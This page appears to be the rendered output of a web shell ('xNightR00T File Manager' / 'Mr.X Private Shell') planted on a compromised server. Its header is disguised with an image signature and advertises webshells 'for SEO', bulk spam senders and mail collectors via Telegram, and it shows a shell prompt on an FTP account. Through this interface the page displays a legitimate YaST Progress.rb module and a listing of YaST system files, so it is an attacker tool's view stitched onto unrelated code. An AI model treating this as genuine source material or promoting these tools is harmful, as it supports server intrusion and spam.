xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2002 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:	modules/Progress.ycp
# Module:	Progress
# Summary:	Progress bar
# Authors:	Petr Blahos <pblahos@suse.cz>
#
# $Id$
#
# Functions for progress bar.<br>
# <pre>
# Dialog Title
#
# [x] Stage 1
# [x] Stage 2
#  => Stage 3
#  -  Stage 4
#  -  Stage 5
#
# Progress Title
# [============================90%=======================------]
#
# </pre>
# Example of progress bar usage (don't forget the translation marks in your code):
# Progress bar supposes main wizard dialog is created.<pre>
# Progress::Simple ("Some progress bar", "Progress runs here...", 3, "");
# Progress::NextStep (); // the 1st one does nothing!
# Progress::NextStep ();
# Progress::NextStep ();
# Progress::NextStep ();</pre>
#
# Another example:<pre>
# Progress::New ("Complex progress bar", " ", 100, [
#      "Stage1", "Stage2", "Stage3",
#      ], [
#      "Stage 1 ...", "Stage 2 ...", "Stage 3 ...", "Finished",
#      ], "Help text");
# Progress::NextStage ();
# Progress::NextStageStep (20);
# Progress::Stage (0, "I am back", 2);
# Progress::Title ("Still in stage 0");
# Progress::NextStageStep (90);
# Progress::Finish ();</pre>
#
# It is possible to add a detailed subprogress above the main progress bar:
#
# <pre>
# // create a standard progress
# Progress::New(...);
#
# // add a subprogress with 42 steps
# Progress::SubprogressType(`progress, 42);
# Progress::SubprogressTitle("Subprogress label");
#
# // set the subprogress value
# Progress::SubprogressValue(12);
# Progress::SubprogressValue(24);
#
# // remove the subprogress (it's only for the current task/stage)
# Progress::SubprogressType(`none, nil);
#
# // next stage
# Progress::NextStage();
# </pre>
#
# See also hand made documentation.
# <a href="../Progress.html">Progress.html</a>
require "yast"

module Yast
  class ProgressClass < Module
    def main
      Yast.import "UI"

      textdomain "base"

      Yast.import "CommandLine"
      Yast.import "Wizard"
      Yast.import "Mode"
      Yast.import "Directory"
      Yast.import "FileUtils"

      # *******************************************************************
      # // !!! IMPORTANT !!!
      # // If you add here a new variable which is valid only for the current
      # // progress do not forget to add it to PushState() and PopState()
      # // functions which are are used for nested progresses!
      # *******************************************************************

      # Number of stages.
      @stages = 0
      # Number of steps
      @steps = 0
      # Current stage
      @current_stage = 0
      # Current step
      @current_step = 0
      # list of stage-titles
      @titles = []

      # is progress bar used?
      @visible = true

      # superior progress (stages) bar
      @super_steps = 0
      @super_step = 0
      @super_stages = []

      # remember the last max. value of the subprogress bar
      @last_subprogress_max = 0

      @progress_running = 0

      # remember cumulated number of steps for nested progresses
      @progress_max = 0
      @progress_val = 0

      # stack with the running progresses
      # the top of the stack is the end of the list
      @progress_stack = []
    end

    def IsRunning
      # Check if any progress bar exists. If it does not, we're not running
      # (querying progress counter is not enough, a module ran previously
      # might have failed to reset the counter properly)
      Ops.greater_than(@progress_running, 0) &&
        UI.WidgetExists(:progress_replace_point) == true
    end

    # push the current progress into the stack
    def PushState
      current_subprogress = CurrentSubprogressType()
      state = {
        # global variable
        "stages"               => @stages,
        "steps"                => @steps,
        "current_step"         => @current_step,
        "current_stage"        => @current_stage,
        "titles"               => @titles,
        "last_subprogress_max" => @last_subprogress_max,
        "visible"              => @visible,
        # state of the widgets
        "subprogress_type"     => current_subprogress,
        "progress_label"       => Convert.to_string(
          UI.QueryWidget(Id(:pb), :Label)
        ),
        "progress_value"       => Convert.to_integer(
          UI.QueryWidget(Id(:pb), :Value)
        ),
        "progress_max"         => @progress_max,
        "progress_val"         => @progress_val
      }

      if current_subprogress == :progress
        Ops.set(
          state,
          "subprogress_label",
          Convert.to_string(UI.QueryWidget(Id(:subprogress_progress), :Label))
        )
        Ops.set(
          state,
          "subprogress_value",
          Convert.to_integer(UI.QueryWidget(Id(:subprogress_progress), :Value))
        )
      elsif current_subprogress == :tick
        Ops.set(
          state,
          "subprogress_label",
          Convert.to_string(UI.QueryWidget(Id(:subprogress_tick), :Label))
        )
      end

      Builtins.y2milestone("Current state: %1", state)

      @progress_stack = Builtins.add(@progress_stack, state)

      nil
    end

    # pop the progress state from the stack and set it
    def PopState
      # pop the config
      state = Ops.get(
        @progress_stack,
        Ops.subtract(Builtins.size(@progress_stack), 1),
        {}
      )
      @progress_stack = Builtins.remove(
        @progress_stack,
        Ops.subtract(Builtins.size(@progress_stack), 1)
      )

      Builtins.y2milestone("setting up the previous state: %1", state)

      # refresh the variables
      @stages = Ops.get_integer(state, "stages", 0)
      @steps = Ops.get_integer(state, "steps", 0)
      @current_step = Ops.get_integer(state, "current_step", 0)
      @current_stage = Ops.get_integer(state, "current_stage", 0)
      @titles = Ops.get_list(state, "titles", [])
      @last_subprogress_max = Ops.get_integer(state, "last_subprogress_max", 0)
      @progress_max = Ops.get_integer(state, "progress_max", 0)
      @progress_val = Ops.get_integer(state, "progress_val", 0)

      pb_value = Ops.get_integer(state, "progress_value", 0)
      pb_value = Ops.add(pb_value.nil? ? 0 : pb_value, 1)

      # refresh the progress widget, add one step for the embedded progress
      UI.ReplaceWidget(
        Id(:progress_replace_point),
        ProgressBar(
          Id(:pb),
          Ops.get_string(state, "progress_label", ""),
          @steps,
          pb_value
        )
      )

      type = Ops.get_symbol(state, "subprogress_type", :none)
      SubprogressType(type, @last_subprogress_max)

      if type == :progress || type == :tick
        SubprogressTitle(Ops.get_string(state, "subprogress_label", ""))
        SubprogressValue(Ops.get_integer(state, "subprogress_value", 0))
      end

      nil
    end

    # return size of the progress stack
    def StackSize
      Builtins.size(@progress_stack)
    end

    # return the value on the top of the stack
    # the stack is not changed
    def TopState
      Ops.get(
        @progress_stack,
        Ops.subtract(Builtins.size(@progress_stack), 1),
        {}
      )
    end

    # Sets progress bar state:
    # on = normal operation, off = All Progress:: calls return immediatelly.
    # @param [Boolean] state on or off
    # @return previous state
    def set(state)
      prev = @visible
      @visible = state
      prev
    end

    # Returns currently selected visibility status of all UI-modifying Progress:: functions.
    #
    # @return [Boolean] whether the progress bar is used
    # @see #Progress::set
    # @see #Progress::off
    # @see #Progress::on
    def status
      @visible
    end

    # Turns progress bar off. All Progress:: calls return immediatelly.
    # @deprecated set
    def off
      # no "deprecated" warning
      # because it is ok to use this function in testsuites
      @visible = false

      nil
    end

    # Turns progress bar on after calling Progress::off.
    # @deprecated set
    def on
      Builtins.y2warning(-1, "Deprecated function. Use Progress::set instead")
      @visible = true

      nil
    end

    # @param [Symbol] kind `todo, `current or `done
    # @return UI mark for stages
    def Mark(kind)
      return "-" if kind == :todo
      return UI.Glyph(:BulletArrowRight) if kind == :current
      return UI.Glyph(:CheckMark) if kind == :done
      "?@%!"
    end

    # @param [Fixnum] i stage number
    # @return widget `id(...) for the marker
    def MarkId(i)
      Id(Builtins.sformat("mark_stage_%1", i))
    end

    # New complex progress bar with stages.
    # @param [String] window_title title of the window
    # @param [String] progress_title title of the progress bar. Pass at least " "
    #                       (one space) if you want some progress bar title.
    # @param [Fixnum] length number of steps. If 0, no progress bar is created,
    #               there are only stages and bottom title. THIS IS NOT
    #               NUMBER OF STAGES!
    # @param [Array<String>] stg list of strings - stage names. If it is nil, then there
    #            are no stages.
    # @param [Array] tits Titles corresponding to stages. When stage changes,
    #             progress bar title changes to one of these titles. May
    #             be nil/empty.
    # @param [String] help_text help text
    def New(window_title, progress_title, length, stg, tits, help_text)
      stg = deep_copy(stg)
      tits = deep_copy(tits)
      return if !@visible

      return if Mode.commandline

      # a progress is already running, remember the current status
      PushState() if IsRunning()

      Builtins.y2milestone(
        "Progress::New(%1, %2, %3)",
        window_title,
        length,
        stg
      )

      orig_current_step = @current_step

      @steps = length
      @stages = Builtins.size(stg)
      @titles = deep_copy(tits)
      @current_step = -1
      @current_stage = -1

      if Ops.less_than(length, Builtins.size(stg))
        Builtins.y2warning(
          "Number of stages (%1) is greater than number of steps (%2)",
          Builtins.size(stg),
          length
        )
      end

      if progress_title == ""
        # Reserve space for future progress bar labels. The ProgressBar
        # widget will suppress the label above the progress bar if the
        # initial label string is empty.
        progress_title = " "
      end

      # do not replace the UI, there is a progress already running
      if IsRunning()
        @progress_max = Ops.multiply(@progress_max, @steps)

        if StackSize() == 1
          @progress_val = Ops.multiply(orig_current_step, @steps)
        else
          prev_state = TopState()
          prev_progress_val = Ops.get_integer(prev_state, "progress_val", 0)

          @progress_val = Ops.multiply(prev_progress_val, @steps)
        end

        # set the maximum value of the progress bar
        UI.ReplaceWidget(
          Id(:progress_replace_point),
          ProgressBar(Id(:pb), progress_title, @progress_max, @progress_val)
        )
        Builtins.y2debug("New progress: %1/%2", @progress_val, @progress_max)

        # increase the reference counter
        @progress_running = Ops.add(@progress_running, 1)
        return
      else
        @progress_max = @steps
      end

      bar = VBox(ProgressBar(Id(:pb), progress_title, length, 0)) # progressbar only
      if 0 != @stages
        bar = VBox(VSpacing(1))
        i = 0
        label_heading = Mark(:todo)

        items = VBox()
        Builtins.foreach(stg) do |item|
          items = Builtins.add(
            items,
            HBox(
              HSpacing(1),
              # check_ycp wants this text to be translatable. I do not know why.
              # HSquash + MinWidth(4) reserves a defined space for 'mark' plus 'emtpy space'
              # see bnc #395752
              HSquash(MinWidth(4, Heading(MarkId(i), label_heading))),
              Label(item),
              HStretch()
            )
          )
          i = Ops.add(i, 1)
        end
        bar = Builtins.add(bar, Left(HBox(HSquash(items))))

        if 0 != @steps
          bar = Builtins.add(
            bar,
            VBox(
              VStretch(),
              ReplacePoint(Id(:subprogress_replace_point), Empty()),
              ReplacePoint(
                Id(:progress_replace_point),
                ProgressBar(Id(:pb), progress_title, length, 0)
              ),
              VSpacing(2)
            )
          )
        else
          bar = Builtins.add(
            bar,
            VBox(
              VStretch(),
              ReplacePoint(Id(:subprogress_replace_point), Empty()),
              ReplacePoint(
                Id(:progress_replace_point),
                Label(Id(:pb), Opt(:hstretch), progress_title)
              ),
              VSpacing(2)
            )
          )
        end
      end

      # patch from Michal Srb https://bugzilla.novell.com/show_bug.cgi?id=406890#c7
      if !Mode.test && UI.WidgetExists(Id(:contents))
        UI.ReplaceWidget(Id(:contents), bar)
      end

      if !UI.WizardCommand(term(:SetDialogHeading, window_title))
        UI.ChangeWidget(Id(:title), :Value, window_title)
        UI.RecalcLayout
      end
      Wizard.SetHelpText(help_text) if "" != help_text && nil != help_text
      Wizard.DisableBackButton
      Wizard.DisableNextButton

      @progress_running = Ops.add(@progress_running, 1)

      nil
    end

    # Get current subprogress type
    # @return [Symbol] Current type of the subprogress widget - can be `progress, `tick or `none
    def CurrentSubprogressType
      ret = :none

      return ret if !@visible || Mode.commandline

      # is there the subprogress progress widget?
      if UI.WidgetExists(:subprogress_progress) == true
        ret = :progress
      # or is there the tick subprogress widget?
      elsif UI.WidgetExists(:subprogress_tick) == true
        ret = :tick
      end

      ret
    end

    # Set value of the subprogress
    # @param [Fixnum] value Current value of the subprogress, if a tick subprogress is running the value is ignored and the next tick is displayed
    def SubprogressValue(value)
      return if !@visible || Mode.commandline

      current_type = CurrentSubprogressType()

      # normal progress
      if current_type == :progress
        UI.ChangeWidget(Id(:subprogress_progress), :Value, value)
      # tick progress
      elsif current_type == :tick
        UI.ChangeWidget(Id(:subprogress_tick), :Alive, true)
      else
        Builtins.y2warning("No subprogress is defined, cannot set the value!")
      end

      nil
    end

    # Create (or remove) a new subprogress above the progress bar, can be use for detailed progress of the current task
    # @param [Symbol] type type of the subprogress widget, can be `progress (standard progress),
    # `tick (tick progress) or `none (no subprogress, intended for removing the progress bar from the dialog)
    # @param [Fixnum] max_value maximum value for `progress type, for the other types it is not relevant (use any integer value or nil)
    def SubprogressType(type, max_value)
      return if !@visible || Mode.commandline

      Builtins.y2debug(
        "SubprogressType: type: %1, max_value: %2",
        type,
        max_value
      )

      if type == CurrentSubprogressType()
        if type == :progress
          # just reset the current value of the progress bar if the requested progress is the same
          if max_value == @last_subprogress_max
            Builtins.y2milestone("Resetting the subprogressbar...")
            SubprogressValue(0)
            return
          end
        elsif type == :tick
          # just restart the animation
          UI.ChangeWidget(Id(:subprogress_tick), :Alive, true)
        else
          Builtins.y2milestone("Subprogress initialization skipped")
          return
        end
      end

      widget = Empty()

      if type == :progress
        widget = ProgressBar(Id(:subprogress_progress), " ", max_value, 0)
      elsif type == :tick
        widget = BusyIndicator(Id(:subprogress_tick), " ", 3000)
      elsif type == :none
        widget = Empty()
      else
        Builtins.y2error("Unknown subprogress type: %1", type)
      end

      Builtins.y2debug("widget: %1", widget)
      UI.ReplaceWidget(Id(:subprogress_replace_point), widget)

      # remember the max. value
      @last_subprogress_max = max_value

      nil
    end

    # Set the label of the subprogress
    # @param [String] title New label for the subprogress
    def SubprogressTitle(title)
      return if !@visible || Mode.commandline

      current_type = CurrentSubprogressType()

      if current_type == :progress
        UI.ChangeWidget(Id(:subprogress_progress), :Label, title)
      elsif current_type == :tick
        UI.ChangeWidget(Id(:subprogress_tick), :Label, title)
      else
        Builtins.y2warning("No subprogress is defined, cannot set the label!")
      end

      nil
    end

    # @deprecated Use {#New} instead.
    # Obsolete function adding icon-support to progress dialog.
    # We don't use icons in popups any more.
    # @param [String] window_title
    # @param [String] progress_title
    # @param [Fixnum] length
    # @param [Array<String>] stg
    # @param [Array] tits
    # @param [String] help_textmap
    # @param [Array<Array<String>>] icons_definition
    # @see Function Progress::New()
    def NewProgressIcons(window_title, progress_title, length, stg, tits, help_textmap, _icons_definition)
      Builtins.y2warning(-1, "#{__method__} is deprecated. Use Progess::New instead!")
      New(window_title, progress_title, length, stg, tits, help_textmap)
    end

    # Create simple progress bar with no stages, only with progress bar.
    # @param [String] window_title Title of the window.
    # @param [String] progress_title Title of the progress bar.
    # @param [Fixnum] length Number of steps.
    # @param [String] help_text Help text.
    def Simple(window_title, progress_title, length, help_text)
      New(window_title, progress_title, length, [], [], help_text)

      nil
    end

    # Uses current_step
    def UpdateProgressBar
      if Ops.greater_than(@current_step, @steps)
        Builtins.y2error(
          -2,
          "Progress bar has only %1 steps, not %2.",
          @steps,
          @current_step
        )
        return
      end

      progress_value = @current_step

      if StackSize() != 0
        # recalculate the progress bar value according to the parent progress
        prev_state = TopState()
        prev_step = Ops.get_integer(prev_state, "current_step", 0)

        progress_value = Ops.add(
          Ops.multiply(prev_step, @steps),
          Ops.greater_than(@current_step, 0) ? @current_step : 0
        )
      end

      Builtins.y2debug(
        "New progress value: %1, current_step: %2/%3 (%4%%)",
        progress_value,
        @current_step,
        @steps,
        Ops.divide(
          Ops.multiply(
            100.0,
            Convert.convert(progress_value, from: "integer", to: "float")
          ),
          Convert.convert(@progress_max, from: "integer", to: "float")
        )
      )

      UI.ChangeWidget(Id(:pb), :Value, progress_value)

      nil
    end

    # the bar is either `ProgressBar or `Label
    # @param [String] s title
    def SetProgressBarTitle(s)
      UI.ChangeWidget(Id(:pb), 0 == @steps ? :Value : :Label, s)

      nil
    end

    # Some people say it is the best operating system ever. But now to the
    # function. Advances progress bar value by 1.
    def NextStep
      return if !@visible || Mode.commandline || 0 == @steps
      @current_step = Ops.add(@current_step, 1)
      UpdateProgressBar()

      nil
    end

    # Advance stage, advance step by 1 and set progress bar caption to
    # that defined in New.
    def NextStage
      return if !@visible
      NextStep()

      if 0 == @stages || Ops.greater_than(@current_stage, @stages)
        Builtins.y2error("Non-existing stage requested.")
        return
      end

      @current_stage = Ops.add(@current_stage, 1)

      # do not update the UI in a nested progress
      return if Ops.greater_than(StackSize(), 0)

      if Mode.commandline
        if Ops.less_than(@current_stage, @stages) &&
            Ops.less_than(@current_stage, Builtins.size(@titles))
          CommandLine.PrintVerbose(Ops.get_string(@titles, @current_stage, ""))
        end
        return
      end

      if Ops.greater_than(@current_stage, 0)
        UI.ChangeWidget(
          MarkId(Ops.subtract(@current_stage, 1)),
          :Value,
          Mark(:done)
        )
      end
      # we may be past the last stage
      if Ops.less_than(@current_stage, @stages)
        if Ops.less_than(@current_stage, Builtins.size(@titles))
          SetProgressBarTitle(Ops.get_string(@titles, @current_stage, ""))
        end
        UI.ChangeWidget(MarkId(@current_stage), :Value, Mark(:current))
      end

      nil
    end

    # Changes progress bar value to st.
    # @param [Fixnum] st new value
    def Step(st)
      return if !@visible || Mode.commandline || 0 == @steps

      return if Ops.less_than(st, 0) || Ops.greater_than(st, @steps)

      @current_step = st

      UpdateProgressBar()

      nil
    end

    # Go to stage st, change progress bar title to title and set progress
    # bar step to step.
    # @param [Fixnum] st New stage.
    # @param [String] title New title for progress bar. If nil, title specified in
    #              New is used.
    # @param [Fixnum] step New step or -1 if step should not change.
    def Stage(st, title, step)
      return if !@visible

      Step(step) if -1 != step

      # another progress is running
      # do not change the current stage, calculate the target step
      if Ops.greater_than(StackSize(), 0)
        UpdateProgressBar()
        return
      end

      if !Mode.commandline && Ops.greater_or_equal(@current_stage, 0)
        UI.ChangeWidget(
          MarkId(@current_stage),
          :Value,
          Mark(Ops.greater_than(st, @current_stage) ? :done : :todo)
        )
      end

      @current_stage = st
      s = ""
      if Ops.less_than(@current_stage, Builtins.size(@titles))
        s = Ops.get_string(@titles, @current_stage, "")
      end
      s = title if nil != title
      if Ops.less_than(@current_stage, Builtins.size(@titles))
        if Mode.commandline
          CommandLine.PrintVerbose(s)
          return
        else
          SetProgressBarTitle(s)
        end
      end
      if Ops.less_than(@current_stage, @stages)
        UI.ChangeWidget(MarkId(@current_stage), :Value, Mark(:current))
      end

      nil
    end

    # Jumps to the next stage and sets step to st.
    # @param [Fixnum] st new progress bar value
    def NextStageStep(st)
      return if !@visible || Mode.commandline
      NextStage()
      Step(st)

      nil
    end

    # Change progress bar title.
    # @param [String] t new title. Use ""(empty string) if you want an empty progress bar.
    def Title(t)
      SetProgressBarTitle(t) if @visible && !Mode.commandline

      nil
    end

    # Moves progress bar to the end and marks all stages as completed.
    def Finish
      return if !@visible || Mode.commandline

      # decrease the reference counter
      @progress_running = Ops.subtract(@progress_running, 1)

      # set the previous state
      if Ops.greater_than(StackSize(), 0)
        PopState()
        return
      end

      if 0 != @stages
        # unwind remaining stages
        NextStage() while Ops.less_than(@current_stage, @stages)
      end
      if 0 != @steps
        @current_step = @steps
        UpdateProgressBar()
      end

      SetProgressBarTitle(" ")

      nil
    end

    # Creates a higher-level progress bar made of stages. Currently it is
    # placed instead of help text.
    # @param [String] title title of the progress...
    # @param [Array<String>] stages list of stage descriptions
    def OpenSuperior(title, stages)
      stages = deep_copy(stages)
      if UI.HasSpecialWidget(:Wizard)
        Wizard.OpenAcceptAbortStepsDialog
        UI.WizardCommand(term(:AddStepHeading, title))

        idx = 0
        @super_steps = Builtins.size(stages)
        @super_step = -1
        Builtins.foreach(stages) do |s|
          id = Builtins.sformat("super_progress_%1", idx)
          UI.WizardCommand(term(:AddStep, s, id))
        end
        UI.WizardCommand(term(:UpdateSteps)) # old behaviour
      else
        left = VBox(VStretch())
        right = VBox(VStretch())
        idx = 0
        @super_steps = Builtins.size(stages)
        @super_step = -1
        Builtins.foreach(stages) do |i|
          id = Builtins.sformat("super_progress_%1", idx)
          left = Builtins.add(left, Heading(Id(id), "-  "))
          right = Builtins.add(right, Label(Opt(:hstretch), i))
          left = Builtins.add(left, VStretch())
          right = Builtins.add(right, VStretch())
          idx = Ops.add(idx, 1)
        end
        left = Builtins.add(left, HSpacing(4))
        right = Builtins.add(right, HStretch())
        Wizard.ReplaceHelp(
          VBox(
            HBox(HSpacing(1), Frame(title, HBox(HSpacing(1), left, right))),
            VSpacing(0.5)
          )
        )
      end

      nil
    end

    # Replaces stages of superior progress by an empty help text.
    def CloseSuperior
      if UI.HasSpecialWidget(:Wizard)
        UI.CloseDialog
      else
        Wizard.RestoreHelp("")
      end
      @super_steps = 0
      @super_step = 0

      nil
    end

    # Make one step in a superior progress bar.
    def StepSuperior
      if Ops.greater_or_equal(@super_step, 0) &&
          Ops.less_than(@super_step, @super_steps)
        if !UI.HasSpecialWidget(:Wizard)
          UI.ChangeWidget(
            Id(Builtins.sformat("super_progress_%1", @super_step)),
            :Value,
            UI.Glyph(:CheckMark)
          )
        end
      end
      @super_step = Ops.add(@super_step, 1)
      return if Ops.greater_or_equal(@super_step, @super_steps)
      if UI.HasSpecialWidget(:Wizard)
        UI.WizardCommand(
          term(
            :SetCurrentStep,
            Builtins.sformat("super_progress_%1", @super_step)
          )
        )
      else
        UI.ChangeWidget(
          Id(Builtins.sformat("super_progress_%1", @super_step)),
          :Value,
          UI.Glyph(:BulletArrowRight)
        )
      end

      nil
    end

    publish function: :IsRunning, type: "boolean ()"
    publish function: :CurrentSubprogressType, type: "symbol ()"
    publish function: :SubprogressTitle, type: "void (string)"
    publish function: :SubprogressValue, type: "void (integer)"
    publish function: :SubprogressType, type: "void (symbol, integer)"
    publish function: :set, type: "boolean (boolean)"
    publish function: :status, type: "boolean ()"
    publish function: :off, type: "void ()"
    publish function: :on, type: "void ()"
    publish function: :New, type: "void (string, string, integer, list <string>, list, string)"
    publish function: :NewProgressIcons, type: "void (string, string, integer, list <string>, list, string, list <list <string>>)"
    publish function: :Simple, type: "void (string, string, integer, string)"
    publish function: :NextStep, type: "void ()"
    publish function: :NextStage, type: "void ()"
    publish function: :Step, type: "void (integer)"
    publish function: :Stage, type: "void (integer, string, integer)"
    publish function: :NextStageStep, type: "void (integer)"
    publish function: :Title, type: "void (string)"
    publish function: :Finish, type: "void ()"
    publish function: :OpenSuperior, type: "void (string, list <string>)"
    publish function: :CloseSuperior, type: "void ()"
    publish function: :StepSuperior, type: "void ()"
  end

  Progress = ProgressClass.new
  Progress.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
